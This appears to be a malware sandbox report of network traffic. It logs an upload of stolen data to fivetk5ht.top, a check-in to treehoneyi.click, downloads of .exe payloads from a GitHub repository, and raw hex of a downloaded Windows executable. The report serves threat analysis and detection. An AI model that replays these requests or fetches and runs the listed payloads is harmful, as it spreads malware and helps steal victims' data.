Dec 20, 2024 21:14:12.763798952 CET	12360	OUT	POST /v1/upload.php HTTP/1.1 Host: fivetk5ht.top Accept: / Content-Length: 31750 Content-Type: multipart/form-data; boundary=------------------------YXlkZShFfs9iK3iOnYAmwl Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 59 58 6c 6b 5a 53 68 46 66 73 39 69 4b 33 69 4f 6e 59 41 6d 77 6c 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 56 69 73 65 79 75 2e 62 69 6e 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6f 63 74 65 74 2d 73 74 72 65 61 6d 0d 0a 0d 0a 78 50 c9 1b cf d8 6e 28 82 09 99 eb f3 26 43 c1 51 9c 29 31 c7 04 d5 35 88 65 2a c0 94 5e 52 18 4a 22 ce b6 dd b4 6d d5 4e 20 87 de d1 4f ad 7b a1 7d 69 d8 69 1c 65 fd 5a be d6 59 f8 ce 57 65 67 70 af 4e c1 35 9c 15 e1 4d 00 7b 16 e6 15 4a 72 fb 2b a5 99 98 47 58 21 b6 5b 06 87 c0 bc 7d f5 4c 80 8a c3 bc 50 f9 3d 78 8a 2f 06 33 15 8e 1f be e7 b6 9a c1 e8 3e 86 a3 a4 cc d7 bb 80 d1 4c 83 37 ab 34 f9 f3 c4 bd 2e d1 07 7f 7f 6e 2e af 83 de bf 10 ff a2 1f b7 a8 c6 9f 0a 87 7f 90 86 41 35 da d0 7d 7d 12 c6 33 bc 4c 8e 72 b5 e5 9a 1d [TRUNCATED] Data Ascii: --------------------------YXlkZShFfs9iK3iOnYAmwlContent-Disposition: form-data; name="file"; filename="Viseyu.bin"Content-Type: application/octet-streamxPn(&CQ)15e^RJ"mN O{}iieZYWegpN5M{Jr+GX![}LP=x/3>L74.n.A5}}3Lrv)rXOS3;bM<IF;q~a2-ey>ey S_Y3NOF'}#l#Op Y+jHq[KUm8%o)7#^EQF?cvLR <Thdk6T{>tY]LPAyLbp9O@`{ee<fd#&sPJ6,u-UROPzSt0pi$W`m9,nt fQ.D+<\|XoXAZ@ag%5eG1Ts>PZ<bA.J-/`u43e\|2Fcm8YSBk%:lpt8+?ByLGo.UW\|=Q=(OsyPUS`s "pOFR~+\|>n[)fGdYw=C[vb}*5GJ}G;6NS<oA)]p}LgxF [TRUNCATED]
Dec 20, 2024 21:14:12.883600950 CET	4944	OUT	Data Raw: 7c f1 9b 6e a4 83 3c 0e f2 21 39 1a d9 21 8d e9 bb 6e ab 67 3b 9d c8 c8 a0 17 7e e9 f6 ad 69 be 1f 83 05 43 8b f0 6a 7b 8a 86 a9 72 42 48 81 6c ef 25 f7 c7 6d d5 fc 6b 4e 2b 7a 2a dc c2 8a cb d9 53 62 0e d2 cc 85 db a0 5f 51 f8 25 7b c4 63 99 ae Data Ascii: \|n<!9!ng;~iCj{rBHl%mkN+z*Sb_Q%{c#t~{>HUBXR%^wX23+z+{6CR{86Z~ZvH9xZEiN!p6n5)i\K"zp1`:>aQo{WL_mJ+oI
Dec 20, 2024 21:14:12.883677006 CET	2472	OUT	Data Raw: de 82 8f 4b 21 de a8 23 93 4b 94 22 0d 99 50 91 74 23 60 ac cb 92 d3 88 25 d1 16 b2 31 47 6f 04 e8 e5 7b e0 fd 31 7e 55 34 96 53 11 f4 e9 e5 a4 32 e8 3a f8 ac 4e 57 91 a0 22 66 95 c9 a8 91 ac 00 f9 a1 cd 1c 36 7e d1 e3 50 e6 66 e0 58 5d cd 55 98 Data Ascii: K!#K"Pt#`%1Go{1~U4S2:NW"f6~PfX]U"5.[X'vk%%>rehdM,/v-"mz",a8]0'oG6DNvZ~/6xoXwX[J/i96*XHh:tntull
Dec 20, 2024 21:14:12.883703947 CET	2472	OUT	Data Raw: 52 f8 7e 65 ec a1 3b 45 51 35 85 e1 a4 78 59 2d e6 97 2c b2 24 90 99 3f 28 0f 32 89 75 dc c5 35 89 ed bf e4 a5 f4 b8 c4 ba 41 55 27 32 fd c7 16 d7 95 71 fc f3 fb 68 75 39 bd c2 99 17 65 c5 72 d4 26 2b a6 6f 84 26 e9 0a 08 45 2e 9e 60 c5 fd eb 94 Data Ascii: R~e;EQ5xY-,$?(2u5AU'2qhu9er&+o&E.`%syhQ<D,7XCx.D;uI,Y}=zpcg'v#0xIb%%zES2$Vw2{QuEPMqy8b6o!D1A\|[.v8yeO(0pb"
Dec 20, 2024 21:14:12.883758068 CET	4944	OUT	Data Raw: cc 7d 84 96 e3 27 0c 40 f1 7c a5 16 d7 90 9a c4 28 5f 5e 7a 08 cb 9b 24 5c 6a 0f f3 9c 32 23 72 d9 db d7 32 9e 80 64 2d f2 49 8f 7c 5d c7 e7 f1 6b 4a 1d 60 dc 1e 97 d8 2e d6 e3 52 9d 63 50 a7 65 20 ea 84 26 a1 f0 9a 52 4a 9c 7c 8d 8d 0e 96 f7 42 Data Ascii: }'@\|(_^z$\j2#r2d-I\|]kJ`.RcPe &RJ\|BM[jp.SC\|vp0ciu2Zh\Y qseY3+XE0MBk{rt[abz0mp{E,)'*4i@
Dec 20, 2024 21:14:12.883853912 CET	4739	OUT	Data Raw: 3b a6 62 b9 59 a7 7a 82 22 c0 a5 89 06 27 89 6a 57 89 4e ea 81 e1 fc d3 11 72 9f c9 98 de 28 3f 6c 4a 20 d6 f9 cf 0b 69 b0 c2 8a c2 7b 34 35 ff ca 70 db 27 4a 16 d8 7d 81 5d ac 83 f8 f3 39 23 53 cc f5 fe ac 0c 42 eb 37 21 66 d9 77 f1 fb b9 6b 1a Data Ascii: ;bYz"'jWNr(?lJ i{45p'J}]9#SB7!fwk>uN{^e!+'D"w]c@C.ANIk;XoKC;%/'k8HulE[[yYK02Mc1fa)Ul8ZDMTGHP6qp[/8o2
Dec 20, 2024 21:14:13.954051971 CET	274	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 20 Dec 2024 20:14:13 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 2 Connection: close X-RateLimit-Limit: 30 X-RateLimit-Remaining: 28 X-RateLimit-Reset: 1734727451 ETag: W/"2-nOO9QiTIwXgNtWtBJezz8kv3SLc" Data Raw: 4f 4b Data Ascii: OK

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.6	49917	34.226.108.155	443	5872	C:\Users\user\AppData\Local\Temp\1018822001\5ec1855a88.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-20 20:13:36 UTC	52	OUT	GET /ip HTTP/1.1 Host: httpbin.org Accept: /
2024-12-20 20:13:37 UTC	224	IN	HTTP/1.1 200 OK Date: Fri, 20 Dec 2024 20:13:37 GMT Content-Type: application/json Content-Length: 31 Connection: close Server: gunicorn/19.9.0 Access-Control-Allow-Origin: * Access-Control-Allow-Credentials: true
2024-12-20 20:13:37 UTC	31	IN	Data Raw: 7b 0a 20 20 22 6f 72 69 67 69 6e 22 3a 20 22 38 2e 34 36 2e 31 32 33 2e 31 38 39 22 0a 7d 0a Data Ascii: { "origin": "8.46.123.189"}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.6	49950	104.21.91.209	443	4864	C:\Users\user\AppData\Local\Temp\1018823001\212ab81242.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-20 20:13:47 UTC	263	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: treehoneyi.click
2024-12-20 20:13:47 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-12-20 20:13:48 UTC	1120	IN	HTTP/1.1 200 OK Date: Fri, 20 Dec 2024 20:13:48 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=r5p39f6u41n7h0ldtvre5605be; expires=Tue, 15 Apr 2025 14:00:27 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=F8ShQQq3SGypbiEI4cDW4krYDWLVCT4PvISxkbKpDbSSSj5pm6ZgIErx%2FzNqnSCI9y%2FCsIFP00lnxrbVKKeu6U9IDustJ5LYN1Cbr6pWSCiFI0OVF2jWPGLOHdXppXlo7dVo"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f524b853a3e0f7b-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1555&min_rtt=1492&rtt_var=685&sent=6&recv=8&lost=0&retrans=0&sent_bytes=2841&recv_bytes=907&delivery_rate=1462193&cwnd=205&unsent_bytes=0&cid=cc6eb04f2201293c&ts=1424&x=0"
2024-12-20 20:13:48 UTC	7	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a Data Ascii: 2ok
2024-12-20 20:13:48 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.6	49971	20.233.83.145	443	1336	C:\Users\user\AppData\Local\Temp\1018824001\343658ec78.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-20 20:13:55 UTC	111	OUT	GET /Urijas/moperats/raw/refs/heads/main/ktyihkdfesf.exe HTTP/1.1 Host: github.com Connection: Keep-Alive
2024-12-20 20:13:56 UTC	562	IN	HTTP/1.1 302 Found Server: GitHub.com Date: Fri, 20 Dec 2024 20:13:55 GMT Content-Type: text/html; charset=utf-8 Vary: X-PJAX, X-PJAX-Container, Turbo-Visit, Turbo-Frame, Accept-Encoding, Accept, X-Requested-With Access-Control-Allow-Origin: Location: https://raw.githubusercontent.com/Urijas/moperats/refs/heads/main/ktyihkdfesf.exe Cache-Control: no-cache Strict-Transport-Security: max-age=31536000; includeSubdomains; preload X-Frame-Options: deny X-Content-Type-Options: nosniff X-XSS-Protection: 0 Referrer-Policy: no-referrer-when-downgrade
2024-12-20 20:13:56 UTC	3380	IN	Data Raw: 43 6f 6e 74 65 6e 74 2d 53 65 63 75 72 69 74 79 2d 50 6f 6c 69 63 79 3a 20 64 65 66 61 75 6c 74 2d 73 72 63 20 27 6e 6f 6e 65 27 3b 20 62 61 73 65 2d 75 72 69 20 27 73 65 6c 66 27 3b 20 63 68 69 6c 64 2d 73 72 63 20 67 69 74 68 75 62 2e 63 6f 6d 2f 61 73 73 65 74 73 2d 63 64 6e 2f 77 6f 72 6b 65 72 2f 20 67 69 74 68 75 62 2e 63 6f 6d 2f 77 65 62 70 61 63 6b 2f 20 67 69 74 68 75 62 2e 63 6f 6d 2f 61 73 73 65 74 73 2f 20 67 69 73 74 2e 67 69 74 68 75 62 2e 63 6f 6d 2f 61 73 73 65 74 73 2d 63 64 6e 2f 77 6f 72 6b 65 72 2f 3b 20 63 6f 6e 6e 65 63 74 2d 73 72 63 20 27 73 65 6c 66 27 20 75 70 6c 6f 61 64 73 2e 67 69 74 68 75 62 2e 63 6f 6d 20 77 77 77 2e 67 69 74 68 75 62 73 74 61 74 75 73 2e 63 6f 6d 20 63 6f 6c 6c 65 63 74 6f 72 2e 67 69 74 68 75 62 2e 63 6f Data Ascii: Content-Security-Policy: default-src 'none'; base-uri 'self'; child-src github.com/assets-cdn/worker/ github.com/webpack/ github.com/assets/ gist.github.com/assets-cdn/worker/; connect-src 'self' uploads.github.com www.githubstatus.com collector.github.co

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.6	49970	20.233.83.145	443	1336	C:\Users\user\AppData\Local\Temp\1018824001\343658ec78.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-20 20:13:55 UTC	111	OUT	GET /Urijas/moperats/raw/refs/heads/main/biyjdfjadaw.exe HTTP/1.1 Host: github.com Connection: Keep-Alive
2024-12-20 20:13:56 UTC	562	IN	HTTP/1.1 302 Found Server: GitHub.com Date: Fri, 20 Dec 2024 20:13:55 GMT Content-Type: text/html; charset=utf-8 Vary: X-PJAX, X-PJAX-Container, Turbo-Visit, Turbo-Frame, Accept-Encoding, Accept, X-Requested-With Access-Control-Allow-Origin: Location: https://raw.githubusercontent.com/Urijas/moperats/refs/heads/main/biyjdfjadaw.exe Cache-Control: no-cache Strict-Transport-Security: max-age=31536000; includeSubdomains; preload X-Frame-Options: deny X-Content-Type-Options: nosniff X-XSS-Protection: 0 Referrer-Policy: no-referrer-when-downgrade
2024-12-20 20:13:56 UTC	3377	IN	Data Raw: 43 6f 6e 74 65 6e 74 2d 53 65 63 75 72 69 74 79 2d 50 6f 6c 69 63 79 3a 20 64 65 66 61 75 6c 74 2d 73 72 63 20 27 6e 6f 6e 65 27 3b 20 62 61 73 65 2d 75 72 69 20 27 73 65 6c 66 27 3b 20 63 68 69 6c 64 2d 73 72 63 20 67 69 74 68 75 62 2e 63 6f 6d 2f 61 73 73 65 74 73 2d 63 64 6e 2f 77 6f 72 6b 65 72 2f 20 67 69 74 68 75 62 2e 63 6f 6d 2f 77 65 62 70 61 63 6b 2f 20 67 69 74 68 75 62 2e 63 6f 6d 2f 61 73 73 65 74 73 2f 20 67 69 73 74 2e 67 69 74 68 75 62 2e 63 6f 6d 2f 61 73 73 65 74 73 2d 63 64 6e 2f 77 6f 72 6b 65 72 2f 3b 20 63 6f 6e 6e 65 63 74 2d 73 72 63 20 27 73 65 6c 66 27 20 75 70 6c 6f 61 64 73 2e 67 69 74 68 75 62 2e 63 6f 6d 20 77 77 77 2e 67 69 74 68 75 62 73 74 61 74 75 73 2e 63 6f 6d 20 63 6f 6c 6c 65 63 74 6f 72 2e 67 69 74 68 75 62 2e 63 6f Data Ascii: Content-Security-Policy: default-src 'none'; base-uri 'self'; child-src github.com/assets-cdn/worker/ github.com/webpack/ github.com/assets/ gist.github.com/assets-cdn/worker/; connect-src 'self' uploads.github.com www.githubstatus.com collector.github.co

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.6	49979	185.199.110.133	443	1336	C:\Users\user\AppData\Local\Temp\1018824001\343658ec78.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-20 20:13:58 UTC	122	OUT	GET /Urijas/moperats/refs/heads/main/ktyihkdfesf.exe HTTP/1.1 Host: raw.githubusercontent.com Connection: Keep-Alive
2024-12-20 20:13:58 UTC	900	IN	HTTP/1.1 200 OK Connection: close Content-Length: 147968 Cache-Control: max-age=300 Content-Security-Policy: default-src 'none'; style-src 'unsafe-inline'; sandbox Content-Type: application/octet-stream ETag: "3e9c4b1e9cdeb98d530cbedabe09c3091bd9f712d1fef28624dd688e9d17d2e1" Strict-Transport-Security: max-age=31536000 X-Content-Type-Options: nosniff X-Frame-Options: deny X-XSS-Protection: 1; mode=block X-GitHub-Request-Id: 3DB9:CF868:45697E:4BED2A:6765D006 Accept-Ranges: bytes Date: Fri, 20 Dec 2024 20:13:58 GMT Via: 1.1 varnish X-Served-By: cache-ewr-kewr1740057-EWR X-Cache: MISS X-Cache-Hits: 0 X-Timer: S1734725638.420846,VS0,VE55 Vary: Authorization,Accept-Encoding,Origin Access-Control-Allow-Origin: * Cross-Origin-Resource-Policy: cross-origin X-Fastly-Request-ID: b374f046069842e82b85330469b295a6fc0a3efe Expires: Fri, 20 Dec 2024 20:18:58 GMT Source-Age: 0
2024-12-20 20:13:58 UTC	1378	IN	Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 05 00 a3 98 61 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 00 00 de 01 00 00 60 00 00 00 00 00 00 c0 85 01 00 00 10 00 00 00 00 00 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 90 23 00 00 04 00 00 00 00 00 00 02 00 00 82 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 28 17 02 00 c8 00 00 Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PELag`@#(
2024-12-20 20:13:58 UTC	1378	IN	Data Raw: ff 15 98 19 42 00 cc cc cc cc cc cc cc cc 55 89 e5 50 c7 45 fc 00 00 00 00 64 a1 30 00 00 00 51 8b 48 02 89 4d fc 59 83 c4 04 5d c3 cc cc 31 c0 64 f7 05 30 00 00 00 68 00 00 00 0f 95 c0 c3 cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc 55 53 57 56 8b 74 24 14 64 a1 30 00 00 00 8b 78 0c 83 c7 14 8b 2d 20 1a 42 00 89 fb 0f 1f 40 00 8b 1b 39 fb 74 0a 56 ff 73 28 ff d5 85 c0 75 f0 39 fb 0f 95 c0 5e 5f 5b 5d c2 04 00 cc cc cc cc 53 57 56 64 a1 30 00 00 00 8b 78 0c 83 c7 14 8b 35 20 1a 42 00 89 fb 66 0f 1f 84 00 00 00 00 00 8b 1b 39 fb 74 13 68 2a 15 42 00 ff 73 28 ff d6 85 c0 75 ec e9 2f 01 00 00 64 a1 30 00 00 00 8b 78 0c 83 c7 14 89 fb 66 0f 1f 84 00 00 00 00 00 8b 1b 39 fb 74 13 68 d4 15 42 00 ff 73 28 ff d6 85 c0 75 ec e9 ff 00 00 00 64 a1 30 00 00 00 8b 78 Data Ascii: BUPEd0QHMY]1d0hUSWVt$d0x- B@9tVs(u9^_[]SWVd0x5 Bf9th*Bs(u/d0xf9thBs(ud0x
2024-12-20 20:13:58 UTC	1378	IN	Data Raw: e8 67 eb 00 00 8b 3d fc 4f 63 00 8d 75 c4 89 f1 e8 57 ee 00 00 50 ff d7 89 f1 e8 fd ed 00 00 8d 7d dc 89 f9 e8 f3 ed 00 00 89 f1 e8 3c eb 00 00 89 f9 e8 35 eb 00 00 8d 5d 08 8d 4b 2c e8 2a eb 00 00 8d 4b 18 e8 22 eb 00 00 8d 4b 0c e8 1a eb 00 00 89 d9 e8 13 eb 00 00 8d 65 f4 5e 5f 5b 5d c2 68 00 cc cc cc cc cc cc cc cc cc 55 89 e5 53 57 56 81 ec 48 03 00 00 8d 5d 08 8d 4d 94 68 0a 15 42 00 e8 74 ea 00 00 8d 8d 6c ff ff ff 68 0a 15 42 00 e8 64 ea 00 00 8b 85 98 00 00 00 83 f8 02 74 13 83 f8 01 74 18 85 c0 75 4d 8d b5 ec fd ff ff 6a 1c eb 12 8d b5 ec fd ff ff 6a 28 eb 08 8d b5 ec fd ff ff 6a 1a 56 e8 be fd 00 00 8d bd ac fc ff ff 8d 5d 94 89 d9 56 57 e8 3c eb 00 00 89 d9 57 e8 e4 ea 00 00 89 f9 e8 7d ea 00 00 89 f1 8d 5d 08 e8 73 ea 00 00 8d 75 20 83 7b 24 Data Ascii: g=OcuWP}<5]K,*K"Ke^_[]hUSWVH]MhBtlhBdttuMjj(jV]VW<W}]su {$
2024-12-20 20:13:58 UTC	1378	IN	Data Raw: 00 00 89 f9 e8 01 e6 00 00 8d 85 ec fd ff ff 50 ff 75 ec ff 15 00 50 63 00 85 c0 8d 5d c8 0f 84 b6 fc ff ff 89 d9 68 be 0b 42 00 56 e8 e9 e6 00 00 89 f1 8d 85 18 fe ff ff 50 8d 7d e0 57 e8 d7 e6 00 00 8d 5d a0 89 d9 57 e8 1c e6 00 00 89 f9 e8 b5 e5 00 00 89 f1 e8 ae e5 00 00 89 e6 83 ec 0c 89 e1 53 e8 71 e5 00 00 e8 8c f8 00 00 89 f4 8d 75 d4 85 c0 74 92 89 f9 68 0a 15 42 00 e8 17 e5 00 00 89 f9 68 f9 00 42 00 8d bd 60 ff ff ff 57 e8 84 e6 00 00 89 f9 68 be 0b 42 00 8d bd 78 ff ff ff 57 e8 71 e6 00 00 89 f9 8d 45 14 50 8d 5d b8 53 e8 02 e6 00 00 89 d9 68 be 0b 42 00 56 e8 55 e6 00 00 8d 7d e0 89 f9 56 e8 9a e5 00 00 89 f1 e8 33 e5 00 00 89 d9 e8 2c e5 00 00 8d 8d 78 ff ff ff e8 21 e5 00 00 8d 8d 60 ff ff ff e8 16 e5 00 00 89 f9 8d 85 18 fe ff ff 50 56 e8 Data Ascii: PuPc]hBVP}W]WSquthBhB`WhBxWqEP]ShBVU}V3,x!`PV
2024-12-20 20:13:58 UTC	1378	IN	Data Raw: 7d c8 89 f9 e8 9f e3 00 00 50 ff d6 89 f9 e8 45 e3 00 00 8d b5 ec fd ff ff 89 f1 e8 38 e3 00 00 6a 04 8d 45 e0 50 e8 9d f0 00 00 89 f9 e8 76 e0 00 00 89 f1 e9 4a f7 ff ff ff 75 90 ff 15 08 50 63 00 8d 4d 94 e8 0e e3 00 00 8d 8d 6c ff ff ff e8 03 e3 00 00 eb 13 8d 4d c8 e8 49 e0 00 00 8d 4d a0 e8 41 e0 00 00 8d 75 08 8d 8d 6c ff ff ff e8 33 e0 00 00 8d 4d 94 e8 2b e0 00 00 89 f1 e8 24 e0 00 00 8d 4d 14 e8 1c e0 00 00 8d 4d 20 e8 14 e0 00 00 8d 4e 54 e8 0c e0 00 00 8d 4e 40 e8 04 e0 00 00 83 c6 34 89 f1 e8 fa df 00 00 8d 4d 30 e8 f2 df 00 00 8d 65 f4 5e 5f 5b 5d c2 94 00 e8 ad ca 01 00 cc cc cc 55 89 e5 53 57 56 83 ec 1c 83 bd 80 00 00 00 00 0f 84 fd 00 00 00 8d 45 08 8d 48 0c 89 4d d8 8d 48 18 89 4d dc 8d 48 2c 89 4d e0 83 c0 38 89 45 e4 31 f6 31 db 66 66 Data Ascii: }PE8jEPvJuPcMlMIMAul3M+$MM NTN@4M0e^_[]USWVEHMHMH,M8E11ff
2024-12-20 20:13:58 UTC	1378	IN	Data Raw: 50 08 c7 02 01 00 00 00 89 15 dc 46 42 00 83 c0 10 eb 02 31 c0 5e 5f c2 04 00 cc cc cc cc cc cc cc cc cc cc cc cc 56 8b 44 24 08 85 c0 74 6a 8d 48 f0 c7 40 f0 01 00 00 00 8b 50 f8 85 d2 74 29 83 3a 00 74 24 39 15 dc 46 42 00 75 06 89 0d dc 46 42 00 8b 72 04 01 70 f4 8b 72 08 89 70 f8 8b 52 08 85 d2 74 03 89 4a 0c 8b 50 fc 85 d2 74 29 83 3a 00 74 24 39 0d dc 46 42 00 75 06 89 15 dc 46 42 00 8b 48 f4 01 4a 04 8b 48 f8 89 4a 08 8b 40 f8 85 c0 74 03 89 50 0c 5e c2 04 00 cc cc cc cc cc cc cc cc cc 55 53 57 56 8b 5c 24 14 c6 03 00 c6 43 01 00 c6 43 02 00 c6 43 03 00 c6 43 04 00 c6 43 05 00 c6 43 06 00 c6 43 07 00 c6 43 08 00 c6 43 09 00 c6 43 0a 00 c6 43 0b 00 c6 43 0c 00 c6 43 0d 00 c6 43 0e 00 c6 43 0f 00 c6 43 10 00 c6 43 11 00 c6 43 12 00 c6 43 13 00 c6 43 Data Ascii: PFB1^_VD$tjH@Pt):t$9FBuFBrprpRtJPt):t$9FBuFBHJHJ@tP^USWV\$CCCCCCCCCCCCCCCCCCCC
2024-12-20 20:13:58 UTC	1378	IN	Data Raw: 4d d8 8d 7d a8 e8 da d5 00 00 0f b7 85 60 ff ff ff 8b 8d 58 ff ff ff 83 ec 20 0f 28 05 c0 f0 41 00 0f 11 44 24 0c 89 44 24 08 89 4c 24 04 89 34 24 c7 44 24 1c 00 00 00 00 ff 15 48 51 63 00 8b 4d ec 85 c0 0f 84 6c 03 00 00 89 c6 89 5d c4 31 c0 85 c9 0f 94 c0 c1 e0 17 0d 00 01 40 00 6a 00 50 6a 00 6a 00 68 53 10 42 00 ff b5 74 ff ff ff 68 f2 0b 42 00 56 89 cb ff 15 58 51 63 00 89 45 f0 85 c0 0f 84 23 03 00 00 89 75 c8 85 db 8d b5 78 f7 ff ff 75 18 c7 85 78 f7 ff ff ff ff ff ff 6a 04 56 6a 1f ff 75 f0 ff 15 68 51 63 00 8d 7d 90 89 f9 68 73 11 42 00 56 e8 36 d6 00 00 89 f9 56 e8 7e d5 00 00 89 f1 e8 17 d5 00 00 89 f9 8d 5d cc 53 56 e8 bb d5 00 00 89 f9 56 e8 63 d5 00 00 89 f1 e8 fc d4 00 00 89 f9 68 05 15 42 00 56 e8 ff d5 00 00 89 f9 56 e8 47 d5 00 00 89 f1 Data Ascii: M}`X (AD$D$L$4$D$HQcMl]1@jPjjhSBthBVXQcE#uxuxjVjuhQc}hsBV6V~]SVVchBVVG
2024-12-20 20:13:58 UTC	1378	IN	Data Raw: fe ff ff 6a 14 56 e8 f7 e1 00 00 8d 9d 6c f6 ff ff 89 f9 56 53 e8 18 d1 00 00 89 f9 53 e8 c0 d0 00 00 89 d9 e8 59 d0 00 00 89 f1 e8 52 d0 00 00 8d bd 78 ff ff ff 8d 4d c8 68 71 11 42 00 57 e8 4e d1 00 00 89 f9 8d 45 a0 50 56 e8 e2 d0 00 00 89 f1 68 dd 14 42 00 53 e8 35 d1 00 00 8d 4d c8 53 e8 7c d0 00 00 89 d9 e8 15 d0 00 00 89 f1 e8 0e d0 00 00 89 f9 e8 07 d0 00 00 8d 7d 90 89 f9 68 40 11 42 00 56 e8 07 d1 00 00 89 f1 8d 45 a0 50 53 e8 9b d0 00 00 89 f9 53 e8 43 d0 00 00 89 d9 8d 5d 08 e8 d9 cf 00 00 89 f1 e8 d2 cf 00 00 0f b7 85 54 ff ff ff 8b 8d 4c ff ff ff 8b 53 04 83 ec 20 0f 28 05 c0 f0 41 00 0f 11 44 24 0c 89 44 24 08 89 4c 24 04 89 14 24 c7 44 24 1c 00 00 00 00 ff 15 48 51 63 00 85 c0 0f 84 ce 05 00 00 89 c6 31 c0 8b 7d ec 85 ff 0f 94 c0 c1 e0 17 Data Ascii: jVlVSSYRxMhqBWNEPVhBS5MS\|}h@BVEPSSC]TLS (AD$D$L$$D$HQc1}
2024-12-20 20:13:58 UTC	1378	IN	Data Raw: 31 f6 8b 45 e8 89 45 b4 0f 1f 84 00 00 00 00 00 a1 54 51 63 00 89 45 ec 8b 3d 2c 50 63 00 8d 5d 90 89 d9 e8 f8 cd 00 00 50 ff d7 89 c7 89 d9 e8 ec cd 00 00 ff 75 b0 ff 75 b4 57 50 ff 75 f0 ff 55 ec 85 c0 75 2a 89 c7 68 b8 0b 00 00 ff 15 fc 19 42 00 81 fe 7d 96 98 00 77 05 46 85 ff 74 b0 8d 45 e8 6a 04 50 e8 d5 da 00 00 e9 30 01 00 00 8d 45 e8 6a 04 50 e8 c5 da 00 00 c7 45 ac 00 01 00 00 8d 45 ac 6a 00 50 8d b5 3c fe ff ff 56 6a 13 ff 75 f0 ff 15 64 51 63 00 85 c0 0f 84 fe 00 00 00 56 e8 68 da 00 00 3d c8 00 00 00 0f 85 ed 00 00 00 8d 45 dc 50 68 cf 07 00 00 8d 9d 6c f6 ff ff 53 ff 75 f0 ff 15 5c 51 63 00 85 c0 74 54 8b 45 dc 85 c0 74 4d 8d 75 84 66 0f 1f 44 00 00 c6 84 05 6c f6 ff ff 00 89 f1 53 8d bd 78 ff ff ff 57 e8 39 cb 00 00 89 f1 57 e8 81 ca 00 00 Data Ascii: 1EETQcE=,Pc]PuuWPuUu*hB}wFtEjP0EjPEEjP<VjudQcVh=EPhlSu\QctTEtMufDlSxW9W
2024-12-20 20:13:58 UTC	1378	IN	Data Raw: 89 f1 57 e8 16 c6 00 00 89 f9 e8 af c5 00 00 89 f1 8d 45 b8 50 57 e8 53 c6 00 00 89 f1 57 e8 fb c5 00 00 89 f9 e8 94 c5 00 00 89 f1 68 05 15 42 00 57 e8 97 c6 00 00 89 f1 57 e8 df c5 00 00 89 f9 e8 78 c5 00 00 89 f1 68 09 13 42 00 57 e8 7b c6 00 00 89 f1 57 e8 c3 c5 00 00 89 f9 e8 5c c5 00 00 89 f1 68 8c 09 42 00 57 e8 5f c6 00 00 89 f1 57 e8 a7 c5 00 00 89 f9 e8 40 c5 00 00 89 f1 68 02 15 42 00 57 e8 43 c6 00 00 89 f1 57 e8 8b c5 00 00 89 f9 e8 24 c5 00 00 e8 7f d6 ff ff 89 f1 50 57 e8 26 c6 00 00 89 f1 57 e8 6e c5 00 00 89 f9 e8 07 c5 00 00 89 f1 68 05 15 42 00 57 e8 0a c6 00 00 89 f1 57 e8 52 c5 00 00 89 f9 e8 eb c4 00 00 89 f1 68 73 11 42 00 57 e8 ee c5 00 00 89 f1 57 e8 36 c5 00 00 89 f9 e8 cf c4 00 00 89 f1 8d 45 b8 50 57 e8 73 c5 00 00 89 f1 57 e8 Data Ascii: 